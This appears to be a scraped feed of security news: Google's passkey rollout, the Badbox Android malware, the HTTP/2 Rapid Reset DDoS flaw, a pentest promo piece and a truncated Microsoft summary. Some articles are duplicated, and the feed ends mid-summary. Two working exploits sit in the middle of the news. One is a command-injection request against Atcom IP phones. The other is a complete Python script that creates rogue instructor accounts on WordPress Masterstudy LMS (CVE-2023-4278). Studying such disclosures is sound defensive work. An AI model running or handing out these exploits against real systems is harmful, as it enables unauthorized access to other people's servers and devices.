By Waqas
Goodbye Passwords, or Not Yet?
This is a post from HackRead.com Read the original post: Google Makes Passkeys Default for All Users

Google is making passkeys the default option, aiming to replace passwords altogether.

Google announced today that it is making passkeys the default option for users. Passkeys are a new, more secure way to sign in to online accounts that is phishing resistant.

Passkeys use public-key cryptography to authenticate users without the need for passwords. When a user creates a passkey, a public and private key pair is generated. The public key is stored on the website or app that the user is signing in to, and the private key is stored securely on the user’s device.

To sign in with a passkey, the user simply selects the passkey they want to use and authenticates it with their device’s biometric sensor or PIN. This eliminates the need to remember or type in a password.

Passkeys UI

Google has been supporting passkeys since May 2022, and the company says that it has received positive feedback from users. The company is now making passkeys the default option in order to encourage more people to use them.

****Benefits of passkeys****

Passkeys offer a number of benefits over passwords, including:

*   **Security:** Passkeys are more secure than passwords because they are phishing-resistant and cannot be easily cracked.
*   **Convenience:** Passkeys are easier to use than passwords because users do not have to remember or type them in.
*   **Privacy:** Passkeys are more private than passwords because they do not require users to share their personal information with websites and apps.

Timothy Morris, Chief Security Advisor at Tanium, a Kirkland, Washington-based provider of converged endpoint management (XEM) thinks it is a positive development and it will play a vital role in securing user accounts without the complication of remembering long and complex passwords.

“This news is a positive development because you can authenticate faster and you don’t have to remember complex passwords,” Timothy said. However, he argued how users will react to the recovery process of a passkey.

“You can’t just recover your passkey like you can a password. The reason we’re now at this point is because there’s enough resiliency so the recovery key process is much smoother, Timothy added.

****How to use passkeys****

To use passkeys, you will need to have a device that supports them. Most modern smartphones and computers support passkeys.

To create a passkey, you will need to visit the website or app that you want to sign in to and follow the instructions. Once you have created a passkey, you will be able to use it to sign in to the website or app on any device that supports a passkey.

****Takeaway****

Google’s decision to make passkeys the default option for users is a welcome one. Passkeys are a more secure, convenient, and private way to sign in to online accounts. I hope that more companies will follow suit and make passkeys the default option for their users as well.

1.  Google offers Dark Web monitoring for US Gmail users
2.  Google Vertex AI Vision: Revolutionizing E-Commerce?
3.  Google’s Latest Android Feature Drop: Dark Web Search for Gmail ID
4.  Mobile Cybersecurity Firm Cirotta Launches Anti-Hacking Phone Cases
5.  Essential Insights on Google Cloud Backup and Disaster Recovery Service
6.  Microsoft launches free Linux memory forensics tool for detecting malware

Google Makes Passkeys Default for All Users

Researchers believe that more than 70,000 Android devices may have been affected with preloaded Peachpit malware that was installed on the electronics before being sold at market.

After a researcher discovered that an Android-based TV streaming box, known as T95, was infected with preloaded malware, researchers at Human Security released information regarding the extent of infected devices and how malicious schemes are connected to these corrupted products. 

Daniel Milisic, a systems security consultant, created a script alongside instructions to help other users mitigate the threat after first coming across the issue. Now, Human Security's threat intelligence and research team has dubbed the operation "Badbox," which it characterizes as a complex, interconnected series of ad fraud schemes on a massive scale.

Human Security describes the operation as "a global network of consumer products with firmware backdoors installed and sold through a normal hardware supply chain." Once activated, the malware on the devices connect to a command-and-control (C2) server for further instructions. In tandem, a botnet known as Peachpit is integrated with Badbox, and engages in ad fraud, residential proxy services, fake email/messaging accounts, and unauthorized remote code installation.

According to the researchers at Human Security, 200 different models of Android devices are potentially affected, and at least 74,000 Android devices globally are potentially impacted by the Badbox infection. Eight different types of devices have backdoors installed: seven Android-based TV boxes — T95, T95Z, T95MAX, X88, Q9, X12PLUS, and MXQ Pro 5G — and an Android tablet, J5-W. The devices are made in China and somewhere along their supply chain, a firmware backdoor gets implemented on the devices.

The infected devices are from the Android Open Source Project (AOSP), meaning that anyone can modify the code, according to a Google spokesperson; they are not built on the official Android TV operating system for smart TVs and streaming devices, which is proprietary and open only to Google and its licensed partners for code modification. "The off-brand devices discovered to be BADBOX-infected were not Play Protect certified Android devices. If a device isn't Play Protect certified, Google doesn't have a record of security and compatibility test results." 

Google's spokesperson adds, "Play Protect certified Android devices undergo extensive testing to ensure quality and user safety. To help you confirm whether or not a device is built with Android TV OS and Play Protect certified, our Android TV website provides the most up-to-date list of partners. You can also take these steps to check if your device is Play Protect certified."

Human Security recommends that users avoid off-brand devices and be wary of clone apps that could potentially infect their device. In addition, users should consider restoring factory settings if a device is behaving oddly.

"While the disruption of Bandbox is a victory for the cybersecurity community, research must continue into the supply chain that allowed the threat to develop in the first place," Human Security said in its report, and added that other threat actors are poised to fill the vacuum.

Badbox Operation Targets Android Devices in Fraud Schemes

Ongoing Rapid Reset DDoS flood attacks exposed organizations need to patch CVE-2023-44487 immediately to head off crippling outages and business disruption.

An Internet-wide security vulnerability is at the root of a zero-day attack dubbed "HTTP/2 Rapid Reset," which resulted in a distributed denial-of-service (DDoS) flood that was orders of magnitude larger than any previous attack ever recorded. It marks a new chapter in the evolution of DDoS threats, researchers noted.

Amazon Web Services, Cloudflare, and Google Cloud each independently observed the attack in question, which featured multiple waves of traffic that lasted for just minutes each. They targeted cloud and Internet infrastructure providers, and the attack took place over Aug. 28–29. Unknown perpetrators are behind the event, but it's clear that they exploited a bug in the HTTP/2 protocol, which is used in about 60% of all Web applications.

AWS, Cloudflare, and Google worked with other cloud, DDoS security, and infrastructure vendors in a coordinated effort to minimize any real-world impact of the Rapid Reset attacks, mainly with load balancing and other edge strategies. But that doesn't mean the Internet is protected; plenty of organizations are still susceptible to the attack vector and will need to proactively patch their HTTP/2 instances to be immune to the threat.

The pioneering attack vector represents an important evolution of the DDoS landscape, according to Alex Forster, Cloudflare's technical lead over DDoS engineering.

"The threat of DDoS attacks is evolving quickly, and are far from a low-level annoyance that they used to be thought of as," he says. "This attack – the largest in the history of the Internet – shows just how critical it is to increasingly pay mind to and consider DDoS as a key way for threat actors to disrupt businesses and wreak havoc."  

**How the Rapid Reset DDoS Attacks Work**

The susceptibility to the attack within HTTP/2 is tracked as CVE-2023-44487, and it carries a high-severity CVSS score of 7.5 out of 10.

According to Cloudflare, HTTP/2 is "a fundamental piece to how the Internet and most websites operate. HTTP/2 is responsible for how browsers interact with a website, allowing them to 'request' to view things like images and text quickly, and all at once no matter how complex the website."

The attack technique involves making hundreds of thousands of HTTP/2 requests at once, then immediately canceling them, according to the company's analysis.

"By automating this 'request, cancel, request, cancel' pattern at scale, threat actors overwhelm websites and are able to knock anything that uses HTTP/2 offline," according to Cloudflare's advisory on the Rapid Reset attacks, posted on Oct. 10.

During the peak of the August campaign, Cloudflare saw more than 201 million requests per second (rps), it said in a media statement provided to Dark Reading, "with some organizations witnessing even larger numbers due to the timing of their mitigations." That's triple the size of the previous record holder, a DDoS attack last year that peaked at 71 million rps.

Google, meanwhile, observed a peak of 398 million rps, seven and a half times larger than any previous attack against its resources; AWS detected a peak of more than 155 million rps targeted at the Amazon CloudFront service.

"For a sense of scale, this \[peak\] two-minute attack generated more requests than the total number of article views reported by Wikipedia during the entire month of September," Google researchers pointed out in a post on Oct. 10.

"We can't predict the future of DDoS attacks, but this recent series of attacks moves the trend in observed attacks closer to the anticipated exponential growth of doubling every 18 months or so," a Google spokesperson tells Dark Reading. "Defending services from attacks like these requires consistent capacity planning, as well as the ability to monitor for attacks and respond quickly."

The power of the method is such that the August tsunami was launched using a modestly sized botnet — fewer than 20,000 nodes. This makes Rapid Reset not only a powerful weapon but a highly efficient one as well.

"Cloudflare regularly detects botnets that are orders of magnitude larger than this — comprising hundreds of thousands and even millions of machines," according to the company's analysis. "For a relatively small botnet to output such a large volume of requests, with the potential to incapacitate nearly any server or application supporting HTTP/2, underscores how menacing this vulnerability is for unprotected networks."  

**Rapid Reset Mitigation**

While the Rapid Reset attacks haven't had the critical impact that the cyberattackers behind them may have hoped, the fact that threat actors were able to pioneer the technique in the first place should put companies on notice, especially given that DDoS attacks continue to be an important tool in cyberattackers' arsenals.

"Cybersecurity is a race," Forster explains. "While attackers carry out increasingly sophisticated and more impactful attacks, defenders develop cutting-edge methods and technology to combat them...After today, threat actors will be largely aware of the HTTP/2 vulnerability. It will inevitably become trivial to exploit and kick off the race between defenders and attacks — first to patch vs. first to exploit. Organizations of all sizes should assume that systems will be tested, and take proactive measures to ensure protection."

And indeed, attackers are launching DDoS attempts on an ongoing basis using the bug, despite extensive mitigations being put into place by cloud providers and DDoS security vendors in the wake of the initial zero-day offensive in August.

"Over those two days, AWS observed and mitigated over a dozen HTTP/2 rapid reset events, and through the month of September, continued to see this new type of HTTP/2 request flood," the cloud giant said in a post today.  

According to Google researchers, "any enterprise or individual that is serving an HTTP-based workload to the Internet may be at risk from this attack. Web applications, services, and APIs on a server or proxy able to communicate using the HTTP/2 protocol could be vulnerable."

They added, "Organizations that are managing or operating their own HTTP/2-capable server (open source or commercial) should apply vendor patches for CVE-2023-44487 when available."

While the HTTP/2 Rapid Reset vulnerability may have been record-breaking in size, the broader takeaways are not novel, Forster adds: "Turn incident management, patching, and evolving your security protections into ongoing processes. Patches for each variant of a vulnerability reduce risk, but they never fully eliminate it."

Forster provided Dark Reading a list of actionable recommendations for shoring up defenses against Rapid Reset and other DDoS threats:

*   Understand your external and partner network’s external connectivity to remediate any Internet facing systems with the mitigations provided by vendors;
*   Understand your existing security protection and capabilities you have to protect, detect, and respond to an attack, and immediately remediate any issues you have in your network;
*   Ensure your DDoS protection resides outside of your data center, because if the traffic gets to your data center, it will be difficult to mitigate a DDoS attack;
*   Ensure you have DDoS protection for applications (Layer 7), and ensure you have Web Application Firewalls. Additionally as a best practice, ensure you have complete DDoS protection for DNS, network traffic (Layer 3), and API firewalls;
*   Ensure Web server and operating system patches are deployed across all Internet-facing Web servers. Also, ensure all automation like Terraform builds and images are fully patched, so older versions of Web servers are not deployed into production over the secure images by accident;
*   As a last resort, consider turning off HTTP/2 and HTTP/3 (potentially also vulnerable) to mitigate the threat. This is a last resort only, because there will be a significant performance issues if you downgrade to HTTP/1.1;
*   And, consider a secondary, cloud-based DDoS Layer 7 provider at perimeter for resilience.

Internet-Wide Zero-Day Bug Fuels Largest-Ever DDoS Event

Amazon Web Services (AWS), Cloudflare, and Google on Tuesday said they took steps to mitigate record-breaking distributed denial-of-service (DDoS) attacks that relied on a novel technique called HTTP/2 Rapid Reset.
The layer 7 attacks were detected in late August 2023, the companies said in a coordinated disclosure. The cumulative susceptibility to this attack is being tracked as CVE-2023-44487,

Server Security / Vulnerability

Amazon Web Services (AWS), Cloudflare, and Google on Tuesday said they took steps to mitigate record-breaking distributed denial-of-service (DDoS) attacks that relied on a novel technique called HTTP/2 Rapid Reset.

The layer 7 attacks were detected in late August 2023, the companies said in a coordinated disclosure. The cumulative susceptibility to this attack is being tracked as **CVE-2023-44487**, and carries a CVSS score of 7.5 out of a maximum of 10.

While the attacks aimed at Google's cloud infrastructure peaked at 398 million requests per second (RPS), the ones aimed at AWS and Cloudflare exceeded a volume of 155 million and 201 million requests per second (RPS), respectively.

HTTP/2 Rapid Reset refers to a zero-day flaw in the HTTP/2 protocol that can be exploited to carry out DDoS attacks. A significant feature of HTTP/2 is multiplexing requests over a single TCP connection, which manifests in the form of concurrent streams.

What's more, a client that wants to abort a request can issue a RST\_STREAM frame to halt the data exchange. The Rapid Reset attack leverages this method to send and cancel requests in quick succession, thereby circumventing the server's concurrent stream maximum and overloading the server without reaching its configured threshold.

"HTTP/2 rapid reset attacks consist of multiple HTTP/2 connections with requests and resets in rapid succession," Mark Ryland and Tom Scholl at AWS said.

"For example, a series of requests for multiple streams will be transmitted followed up by a reset for each of those requests. The targeted system will parse and act upon each request, generating logs for a request that is then reset, or canceled, by a client."

This ability to reset streams immediately allows each connection to have an indefinite number of requests in flight, thereby enabling a threat actor to issue a barrage of HTTP/2 requests that can overwhelm a targeted website's capability to respond to new incoming requests, effectively taking it down.

Put differently, by initiating hundreds of thousands of HTTP/2 streams and rapidly canceling them at scale over an established connection, threat actors can overwhelm websites and knock them offline. Another crucial aspect is that such attacks can be pulled off using a modestly-sized botnet, something to tune of 20,000 machines as observed by Cloudflare.

"This zero-day provided threat actors with a critical new tool in their Swiss Army knife of vulnerabilities to exploit and attack their victims at a magnitude that has never been seen before," Grant Bourzikas, chief security officer at Cloudflare, said.

HTTP/2 is used by 35.6% of all the websites, according to W3Techs. The percentage of requests that use HTTP/2 is at 77%, per data shared by Web Almanac.

Google Cloud said it has observed multiple variants of the Rapid Reset attacks that while not as effective as the initial version, are more efficient than the standard HTTP/2 DDoS attacks.

"The first variant does not immediately cancel the streams, but instead opens a batch of streams at once, waits for some time, and then cancels those streams and then immediately opens another large batch of new streams," Juho Snellman and Daniele Lamartino said.

"The second variant does away with canceling streams entirely, and instead optimistically tries to open more concurrent streams than the server advertised."

F5, in an independent advisory of its own, said the attack impacts the NGINX HTTP/2 module and has urged its customers to update their NGINX configuration to limit the number of concurrent streams to a default of 128 and persist HTTP connections for up to 1000 requests.

"After today, threat actors will be largely aware of the HTTP/2 vulnerability; and it will inevitably become trivial to exploit and kickoff the race between defenders and attacks — first to patch vs. first to exploit," Bourzikas further said. "Organizations should assume that systems will be tested, and take proactive measures to ensure protection."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

HTTP/2 Rapid Reset Zero-Day Vulnerability Exploited to Launch Record DDoS Attacks

Atcom version 2.7.x.x suffers from an authenticated remote code injection vulnerability.

    # Exploit Title: Atcom 2.7.x.x - Authenticated Command Injection# Google Dork: N/A# Date: 07/09/2023# Exploit Author: Mohammed Adel# Vendor Homepage: https://www.atcom.cn/# Software Link:https://www.atcom.cn/html/yingwenban/Product/Fast_IP_phone/2017/1023/135.html# Version: All versions above 2.7.x.x# Tested on: Kali LinuxExploit Request:POST /cgi-bin/web_cgi_main.cgi?user_get_phone_ping HTTP/1.1Host: {TARGET_IP}User-Agent: polarContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 49Authorization: Digest username="admin", realm="IP Phone WebConfiguration", nonce="value_here",uri="/cgi-bin/web_cgi_main.cgi?user_get_phone_ping",response="value_here", qop=auth, nc=value_here, cnonce="value_here"cmd=0.0.0.0$(pwd)&ipv4_ipv6=0&user_get_phone_pingResponse:{"ping_cmd_result":"cGluZzogYmFkIGFkZHJlc3MgJzAuMC4wLjAvdXNyL2xvY2FsL2FwcC9saWdodHRwZC93d3cvY2dpLWJpbicK","ping_cmd":"0.0.0.0$(pwd)"}The value of "ping_cmd_result" is encoded as base64. Decoding thevalue of "ping_cmd_result" reveals the result of the command executedas shown below:ping: bad address '0.0.0.0/usr/local/app/lighttpd/www/cgi-bin'

Atcom 2.7.x.x Command Injection

WordPress Masterstudy LMS plugin version 3.0.17 suffers from an unauthenticated instructor account creation vulnerability.

    # Exploit Title:  Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation# Google Dork: inurl:/user-public-account# Date: 2023-09-04# Exploit Author: Revan Arifio# Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/# Version: <= 3.0.17# Tested on: Windows, Linux# CVE : CVE-2023-4278import requestsimport osimport reimport timebanner = """   _______      ________    ___   ___ ___  ____        _  _ ___ ______ ___    / ____\ \    / /  ____|  |__ \ / _ \__ \|___ \      | || |__ \____  / _ \  | |     \ \  / /| |__ ______ ) | | | | ) | __) |_____| || |_ ) |  / / (_) | | |      \ \/ / |  __|______/ /| | | |/ / |__ <______|__   _/ /  / / > _ <  | |____   \  /  | |____    / /_| |_| / /_ ___) |        | |/ /_ / / | (_) |  \_____|   \/   |______|  |____|\___/____|____/         |_|____/_/   \___/                                                                             ======================================================================================================|| Title            : Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation       |||| Author           : https://github.com/revan-ar                                                   |||| Vendor Homepage  : https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/      |||| Support          : https://www.buymeacoffee.com/revan.ar                                         ||======================================================================================================"""print(banner)# get noncedef get_nonce(target):    open_target = requests.get("{}/user-public-account".format(target))    search_nonce = re.search('"stm_lms_register":"(.*?)"', open_target.text)    if search_nonce[1] != None:        return search_nonce[1]    else:        print("Failed when getting Nonce :p")# privielege escalationdef privesc(target, nonce, username, password, email):    req_data = {        "user_login":"{}".format(username),        "user_email":"{}".format(email),        "user_password":"{}".format(password),        "user_password_re":"{}".format(password),        "become_instructor":True,        "privacy_policy":True,        "degree":"",        "expertize":"",        "auditory":"",        "additional":[],        "additional_instructors":[],        "profile_default_fields_for_register":[],        "redirect_page":"{}/user-account/".format(target)        }    start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data)    if start.status_code == 200:        print("[+] Exploit Success !!")    else:        print("[+] Exploit Failed :p")# URL targettarget = input("[+] URL Target: ")print("[+] Starting Exploit")plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target))plugin_version = re.search("Stable tag: (.+)", plugin_check.text)int_version = plugin_version[1].replace(".", "")time.sleep(1)if int(int_version) < 3018:    print("[+] Target is Vulnerable !!")    # Credential    email =  input("[+] Email: ")    username =  input("[+] Username: ")    password =  input("[+] Password: ")    time.sleep(1)    print("[+] Getting Nonce...")    get_nonce = get_nonce(target)    # Get Nonce    if get_nonce != None:        print("[+] Success Getting Nonce: {}".format(get_nonce))        time.sleep(1)        # Start PrivEsc        privesc(target, get_nonce, username, password, email)    # ----------------------------------    else:    print("[+] Target is NOT Vulnerable :p")

WordPress Masterstudy LMS 3.0.17 Account Creation

Google is making passkeys, the emerging passwordless login technology, the default option for users as it moves to make passwords “obsolete.”

Less than six months ago, Google announced that it was launching support for the password replacement known as “passkeys” for all personal accounts across its billions of users. Today, the company said it is going a step further and will make passkeys the default login setting for users.

When you log in to your Google account, you’ll get a prompt to create a passkey and start using it for login instead of relying on your Gmail address and password. Google will be turning on the “skip password when possible” option in account settings, which is essentially the passkey green light. Users who don't want to kill their password just yet will still be able to turn that setting off so they don't receive the prompts.

Password-based authentication is so ubiquitous in digital systems that it isn't easy to replace. But passwords have inherent security problems because they can be guessed and stolen. And since it's so difficult to keep track of dozens or hundreds of passwords, users often reuse the same passwords on multiple accounts, making it easier for attackers to unlock all of those accounts in one fell swoop. Passkeys are specifically designed to address these issues and dramatically reduce the risk of phishing attacks by instead relying on a scheme that manages cryptographic keys stored on your devices for account authentication.

Google didn't share statistics on passkey adoption so far, saying instead in a blog post that “people have used passkeys on their favorite apps like YouTube, Search and Maps, and we’re encouraged by the results.” The company points out that passkey support is expanding across other apps and services. Apple and Microsoft both support passkeys. And companies like Uber and eBay recently launched passkeys, and they're coming to WhatsApp soon.

“Passwordless is something we set out to achieve 10-plus years ago, and we’re thrilled to not only see us already on the next step of the journey with passkeys by offering them by default, but also to see the great feedback from users who have made the switch,” Christiaan Brand, identity and security group product manager at Google, tells WIRED.

There's so much inertia on passwords around the world that even a player as big and influential as Google can't force the issue overnight. But the company is clearly using its influence to steer users with gentle pressure that seems likely to continue mounting as passkeys gain broader momentum.

“We’ll keep you updated on where else you can start using passkeys across other online accounts,” the company wrote today. “In the meantime, we’ll continue encouraging the industry to make the pivot to passkeys—making passwords a rarity, and eventually obsolete.”

Google Makes Passkeys Default, Stepping Up Its Push to Kill Passwords

Google on Tuesday announced the ability for all users to set up passkeys by default, five months after it rolled out support for the FIDO Alliance-backed passwordless standard for Google Accounts on all platforms.
"This means the next time you sign in to your account, you'll start seeing prompts to create and use passkeys, simplifying your future sign-ins," Google's Sriram Karra and Christiaan

Password Security / Technology

Google on Tuesday announced the ability for all users to set up passkeys by default, five months after it rolled out support for the FIDO Alliance-backed passwordless standard for Google Accounts on all platforms.

"This means the next time you sign in to your account, you'll start seeing prompts to create and use passkeys, simplifying your future sign-ins," Google's Sriram Karra and Christiaan Brand said.

"It also means you'll see the 'skip password when possible' option toggled on in your Google Account settings."

Passkeys are a new form of authentication that entirely eliminate the need for usernames and passwords, or even provides any additional authentication factor.

In other words, it's a passwordless login mechanism that leverages public-key cryptography to authenticate users' access to websites and apps, with the private key saved securely in the device and the public key stored in the server.

Each passkey is unique and bound to a username and a specific service, meaning a user will have at least as many passkeys as they have accounts, although there can be multiple passkeys per account since passkeys function only within the confines of the same platform.

A user can, therefore, have one passkey each for a website for Android, iOS, and Windows.

Thus, when a user signs into a website or app that supports passkeys, a random challenge is created and sent to the client, which, in turn, prompts the individual to verify using their biometric or a PIN in order to sign the challenge using the private key and send it back to the server.

Authentication is considered successful if the signed response can be validated using the associated public key.

An immediate benefit to passkeys is two-fold: they not only obviate the hassle of remembering passwords, but are also phishing-resistant, thereby safeguarding accounts against potential takeover attacks.

The development comes weeks after Microsoft officially began supporting passkeys in Windows 11 for improved account security. Other widely-used platforms like eBay and Uber have enabled passkey support in recent months.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Google Adopts Passkeys as Default Sign-in Method for All Users

By Owais Sultan
Human Mind and Attention as Clue in Penetration Testing Success Stories.
This is a post from HackRead.com Read the original post: Unveiling Vulnerabilities: Penetration Testing Services

Penetration testing is vital as it helps identify vulnerabilities in a system or network, allowing organizations to proactively strengthen their security and protect against real-world cyber threats, ultimately safeguarding sensitive data and assets.

The penetration test, or pentest, is a controlled intrusion into the software system to reveal and eliminate vulnerabilities. Nowadays, the pentest is the closest model to the **regular cyber attack** and the best means to prevent it.

The need becomes more and more crucial: the statistics of 2022 demonstrates a **40% growth** of new vulnerability number compared with 2021, 21,000 to 13,000. 21,000 vulnerabilities per year are invisible for scanners but can bring multimillion losses.

That’s why both principles of penetration testing and text cases themselves make the researchers consider the **unique vulnerabilities** as valuable precedents and analyze the pentest reports in detail.

****Company to Deal with and Its Risks****

The zero stage of the pentest is collecting a full package of background information about the reviewed company and the breach if it happened. Let’s model a regular supposed cryptocurrency company, let’s name it Ultimo Chain, which faced the exploit of the native exchange. For better illustration, Ultimo’s model combines features of several real cryptocurrencies, bridges and exchanges, **attacked in 2021-2022**. 

Ultimo relies on original blockchain encryption and never passed a test before. But penetration testing success stories teach that a middle or large company needs it crucially. The main company features and risks according to the checklist of OUR SITE experts:

*   **Industry**. As a cryptocurrency IT business, Ultimo is more interesting for cybercriminals than industrial manufacturers.

*   **Market cap**. A high-skilled intruder may consider a market leader as a beneficial target despite the complex security system. Ultimo is a medium company with a 150+ ranking on CoinMarketCap with a capitalization under $150M, so it’s a decent trophy.

*   **Original system**. Software of most middle or bigger businesses is a unique combination of apps, services, connections and client interfaces. A breach in one component may disclose others to malicious actors. Ultimo uses the original coin, stablecoin and exchange, based on their blockchain, several bridges between Ethereum and other altcoins. 

*   **Data access policies and staff instructions**. Ultimo is an open-source project, and anyone can review its codes on GitHub. The data about financial transactions are encrypted with **blockchain** and stay in secured clouds. Meanwhile, all communications and supportive information are provided by regular messengers, emails and outer storage. Ultimo has 50+ remote workers with 3 levels of access for partners, regular developers, managers and architects.

After the exploit, the exchange was robbed. Due to further investigation, a hacker took away all native stablecoins (25% of all supply) from the Ethereum pair, sold them on external DEX and covered the tracks in a crypto mixer.

****Main Sectors for Vulnerability Detecting** **

The Ultimo pentest not only aims for software and several technical supplements but also closely looks for human errors. The research has to detect:

*   data leak sources;
*   hardware malfunctions;
*   sustainability of connections;
*   system errors and wrong settings;
*   weaknesses in the code and encryption; 
*   vulnerabilities related to staff and management.

The specifics of this case study in penetration testing is that its core code is public. However, the GitHub code doesn’t include visible vulnerabilities and was excluded from possible data leak sources.

The pentest team has to pay attention to the following elements:

*   **Core software** — services and processing software on servers or in clouds, resilience to data leaks, errors and crashes during malware intrusion. 
*   **Websites** — page displaying, navigation and script procedures during DDoS attacks or corruption by malware, encryption and coding against web page data stealing, reliability of redirecting from multinational sites to local mirrors.  
*   **Networks** — reliability of connections and protocols for data transfers, vulnerabilities within local company networks and during remote access.
*   **Client apps** — options and probability of virus invasion, interface misconfigurations, vulnerabilities related to application access and cashed private data.
*   **Remote access software** — possibilities for malware intrusion in the VPNs and forging IP addresses.
*   **Wireless webs** — reliability of Internet connection software (routers, encryptors, filters).
*   **Hardware functioning (SCADA)** — reliability and risks of controlling software in sensors and transmitters. This type relates to power, temperature or pressure equipment, including one inside the servers.
*   **Human factor** — possibilities for staff, clients or partners to corrupt software or cause data leaks (management of data access levels, fishing and similar hacking techniques).

Most penetration testers are narrow but experienced specialists who analyze the separate categories of vulnerabilities. Then the team discusses the results in complex.

****Vulnerability Hunt Step-by-Step****

The professional pentest passes by a **certified methodology** in these steps:

*   Primarily scanning for common vulnerabilities with security scanners (Kali Linux and Rapid7 Nexpose).
*   Additional manual testing for original vulnerabilities.
*   Severity level attribution for vulnerabilities according to standard calculations (NVD by NIST).
*   Test exploitation, including specially written software.
*   Summarizing the research in generated (Cyver Core) and manually complemented reports.
*   Choosing ways to eliminate vulnerabilities.

Security testing professionals may also consult related sources for additional information. In the Ultimo model, the pen specialists review the exchange transaction history. The Ultimo blockchain scanner demonstrates that every recent purchase was cancelled because of a lack of validation nodes. However, after the cancellation, the exchange currency was redirected to the fraudster’s wallet instead of the exchange one.  

****How and Why to Classify Vulnerabilities****

Vulnerability detection is the first stage of penetration testing case study. The test team detects regular weaknesses with scanners to shorten the time of audit and to allow the experts to focus on manual detecting of special things.

As a result, the company Ultimo received comprehensible metrics of system weaknesses, the most severe among them relating to:

*   Possibilities for access level manipulation.
*   Sending data from the exchange to external apps.
*   Fishing probabilities on personal computers of remote workers because of unsecured messengers and storage.

During the further case study of penetration testing, the found vulnerabilities obtain a category of severity due to their danger levels and potential negative consequences:

*   **Critical** — The vulnerability is open and can be used by malicious actors at any moment. It allows the malware to run within the organization soft and needs immediate fixing.
*   **High** — The vulnerability is also available without additional conditions. It doesn’t allow changes within the company’s software, launching of malware or deleting of data. But the actor still can intercept any protected information. 
*   **Medium** — The vulnerability allows the stealing of only low-priority information and only after the actions of the medium-level specialist. The malware can’t be launched. Most of these cases are due to errors in software configurations.
*   **Low** — The vulnerability menaces with data leaks and is caused by software configuration, particularly data access levels and company data policies. Using this type of vulnerability requires social engineering and, sometimes, additional software exploits.

The analysis allows the team to qualify the Ultimo vulnerabilities as medium and low. But they seem to be the weaknesses used by the hacker.

****Harmless Exploit****

The next stage is a practical attack on the researched system but without damage. The pentest team exploit the software only after backups and by agreement with the organization. The main steps:

*   The cyber security team develops several scenarios that involve all found vulnerabilities.
*   The testing system embodies them and records all successful intrusions.
*   The reports go to the company managers with commentaries.
*   The cybersecurity team models the consequences if a malicious actor exploits the same sectors or achieves the same data.
*   The company and pen-testers evaluate the probability of each scenery and calculate possible losses.

The practical deeds adjust the theoretical results. Some vulnerabilities interfere with others and get higher severity levels. Some are offset by other program components and are considered low-risk. The practice often reveals missed weaknesses and unexpected consequences of an exploit.

The penetration testers try to recreate the scenery of the Ultimo exploit as the main one. It combines the detected vulnerabilities, social engineering and data from the blockchain scanner:

*   The tester rewrites and compiles an open-source code to get a binary file.
*   Then, the expert creates a classic fishing email trap, involving a fake Google authentication, uses saved passwords in the target’s browser and gets access to the Ultimo designer’s account at the external storage.
*   The specialist uses a popular hacking solution to get the third level of access and, as a result, reads the project manager’s database of developers’ information in the common documents.
*   With the received accesses, the tester can enter the site server (even without a proxy), replace the purchase binary file with the forged one and relaunch the exchange.

The checking transaction of a small amount shows that the exploit was successful, and the tester backed the replaced file. The used scenery allows not only stealing money but also deleting the whole exchange, source codes and all supportive materials (except backups on the staff computers). 

****Strategies and Recommendations to Overcome Security Problems****

After discussing vulnerabilities and related risks, the testers offer ways to solve them. The company compares their reliability and necessary expenses for choosing the best solutions for this penetration testing and test cases.

Additionally, the pentest team advises how to prevent similar troubles during the renovation of software and expansion of business processes. By the company’s wish, the team describes the signs of danger and general ways that can lead to it.

These are general recommendations for Ultimo, which will suit any organization:

1.  Creation of the security software list for obligatory installation by remote staff. 
2.  Using secured data rooms or similar business solutions instead of regular storage.
3.  Monitoring and notification of leading developers of all server changes.
4.  Using one-way data encryption and doubling for databases.
5.  Integration of biometric identification for the second and third security levels in storage.
6.  Registration of all involved devices by the administrator.

These steps contour the security update plan, but exact solutions must be developed for and together with an individual company only. 

****Mutual Collaboration for the Best Results****

The pen-testing team consults the researched company while implementing the offered changes. They control the quality of the work and adjust algorithms if the direct implementation faces inconvenience. 

Due to penetration testing success stories, the team and company must share clear results and control each other’s work. The **testers list all vulnerabilities**, the company notifies the testers about all implementation nuances. 

Ultimo is also recommended to pass the penetration test periodically because the company:

1.  make frequent global upgrades of both blockchain and apps;
2.  integrates new cryptocurrencies and fiat payment methods;
3.  develops apps for smart TVs and desktops.

In short, not only major leaks but any global change should be accompanied by a new professional pen test.

****Benefits for Pentested Companies****

Despite the best-quality blockchain, the modelled cryptocurrency company failed in supporting factors, especially related to data storage and human errors. Elimination of these vulnerabilities helps Ultimo to prevent:

*   data leaks;
*   new money and time losses;
*   decreasing company market value.
*   further spoiling of reputation and losing of clients;

In total, the pentest fosters Ultimo in increasing its market sustainability and advancing competitors. The costs of both pentest and improving the company’s security pay off especially quickly in the case of the trendy crypto industry.

****Pentest: Way to Forget about Intruders****

Penetration test with further upgrades is the best way to cut losses on hacks and overcome their consequences of high quality and a unique way. That’s why the results of each case study of penetration testing are so valuable.

As any modern company has a unique software complex, common solutions do not suit it. Only manual testing with a customized plan and hands-on exploit can reveal all security weaknesses. Finally, the **pentest services** are a safe and affordable way to advance the competitors and secure the company’s market future.

1.  The Most In-Demand Freelance Skills for 2023
2.  Top Certifications for Network Security Administrators
3.  We Need Smarter Smart Contracts To Prevent DeFi Hacks
4.  Penetration Testing And Their Methodology In Cybersecurity
5.  5 Proven Cyber Security Certifications That Will Boost Your Salary

Unveiling Vulnerabilities: Penetration Testing Services

Summary Summary Beginning in September 2023, Microsoft was notified by industry partners about a newly identified Distributed Denial-of-Service (DDoS) attack technique being used in the wild targeting HTTP/2 protocol. This vulnerability (CVE-2023-44487) impacts any internet exposed HTTP/2 endpoints. As an industry leader, Microsoft promptly opened an investigation and subsequently began working with industry partners for a coordinated disclosure and mitigation plan.

**Summary Summary**

